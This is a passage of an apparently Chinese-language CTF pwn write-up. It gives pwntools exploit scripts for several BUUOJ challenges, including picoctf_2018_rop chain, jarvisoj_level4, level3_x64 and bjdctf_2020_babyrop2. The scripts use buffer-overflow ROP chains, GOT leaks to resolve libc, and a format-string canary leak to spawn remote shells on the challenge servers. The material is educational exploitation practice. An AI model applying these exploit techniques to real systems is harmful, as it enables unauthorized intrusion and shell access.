bss1 = 0x0804A300
bss2 = 0x0804A500
level = 0x08048511
pause()
payload = flat([ 'a'*4, read_plt, pop4_ret, 0, bss2, 0x200, bss2, level ])
r.sendafter("What is your name?", payload)
payload1 = flat([ 'a'*0x18, bss1, level ])
r.sendafter("What do you want to say?", payload1)
payload2 = flat([ 'a'*4, write_plt, pop4_ret, 1, write_got, 4, bss1, read_plt, level, 0, bss1, 0x200])
r.send(payload2)
write_addr = u32(r.recv(4))
payload3 = flat([ 'a'*4, read_plt, pop4_ret, 0, bss2, 0x200, bss2, level])
r.send(payload3)
log.success("write addr => {}".format(hex(write_addr)))
system = write_addr -0x99a80
binsh = write_addr + 0x84c6b
payload4 = flat([ 'a'*4, system, 0, binsh ])
r.send(payload4)
r.interactive()
picoctf_2018_rop chain
有意思的一道题,考点就是函数构造
from pwn import *
# r = process("./PicoCTF_2018_rop_chain")
r = remote("node4.buuoj.cn", 29404)
win1 = 0x080485CB
win2 = 0x080485D8
flag = 0x0804862B
payload = flat([ 'a'*(0x18+4), win1, win2, flag, 0xBAAAAAAD, 0xDEADBAAD ])
r.sendlineafter("Enter your input>", payload)
r.interactive()
jarvisoj_level4
简单题,直接做吧
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 26172)
# r = process("./level4")
elf = ELF("./level4")
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
start = elf.sym['_start']
payload = flat([ 'a'*0x8c, write_plt, start, 1, read_got, 4 ])
r.sendline(payload)
read_addr = u32(r.recv(4))
log.success("read addr => {}".format(hex(read_addr)))
from SearchLibc import *
libc = SearchLibc("read", read_addr)
system, binsh, read_libc = libc.dump([ 'system', 'str_bin_sh', 'read' ])
system += read_addr - read_libc
binsh += read_addr - read_libc
payload = flat([ 'a'*0x8c, system, start, binsh ])
r.sendline(payload)
r.interactive()
jarvisoj_level3_x64
和上一道题没什么大区别
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 29192)
# r = process("./level3_x64")
elf = ELF("./level3_x64")
pop_rdi = 0x00000000004006b3
pop_rsi_r15 = 0x00000000004006b1
write_plt = elf.plt['write']
write_got = elf.got['write']
start = elf.sym['_start']
payload = flat([ 'a'*136, pop_rsi_r15, write_got, 0, pop_rdi, 1, write_plt, start ], word_size=64)
r.recvuntil("Input:")
# pause()
r.sendline(payload)
r.recvline()
write_addr = u64(r.recv(8))
log.success("write addr => {}".format(hex(write_addr)))
from SearchLibc import *
libc = SearchLibc("write", write_addr)
system, binsh, write_libc = libc.dump([ 'system', 'str_bin_sh', 'write' ])
system += write_addr - write_libc
binsh += write_addr - write_libc
payload = flat([ 'a'*136, pop_rdi, binsh, system ], word_size=64)
r.sendlineafter("Input:", payload)
r.interactive()
bjdctf_2020_babyrop2
正常难度
from pwn import *
context.log_level='debug'
r = remote("node4.buuoj.cn", 28029)
# r = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")
start = elf.sym['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400993
pop_rsi_r15 = 0x0000000000400991
r.sendlineafter("I'll give u some gift to help u!\n", '%7$p')
canary = int(r.recvline()[2:-1], 16)
log.success("canary => {}".format(hex(canary)))
payload = flat([ 'a'*0x18, canary, canary, pop_rdi, puts_got, puts_plt, start ], word_size=64)
r.sendlineafter("Pull up your sword and tell me u story!\n", payload)
puts_addr = u64(r.recvline()[:-1].ljust(8, '\x00'))
log.success("puts => {}".format(hex(puts_addr)))
from SearchLibc import *
libc = SearchLibc("puts", puts_addr)
system, binsh, puts_libc = libc.dump([ 'system', 'str_bin_sh', 'puts' ])
system += puts_addr - puts_libc
binsh += puts_addr - puts_libc
payload = flat([ 'a'*0x18, canary, canary, pop_rdi, binsh, system ], word_size=64)
r.sendlineafter("Pull up your sword and tell me u story!\n", payload)
r.interactive()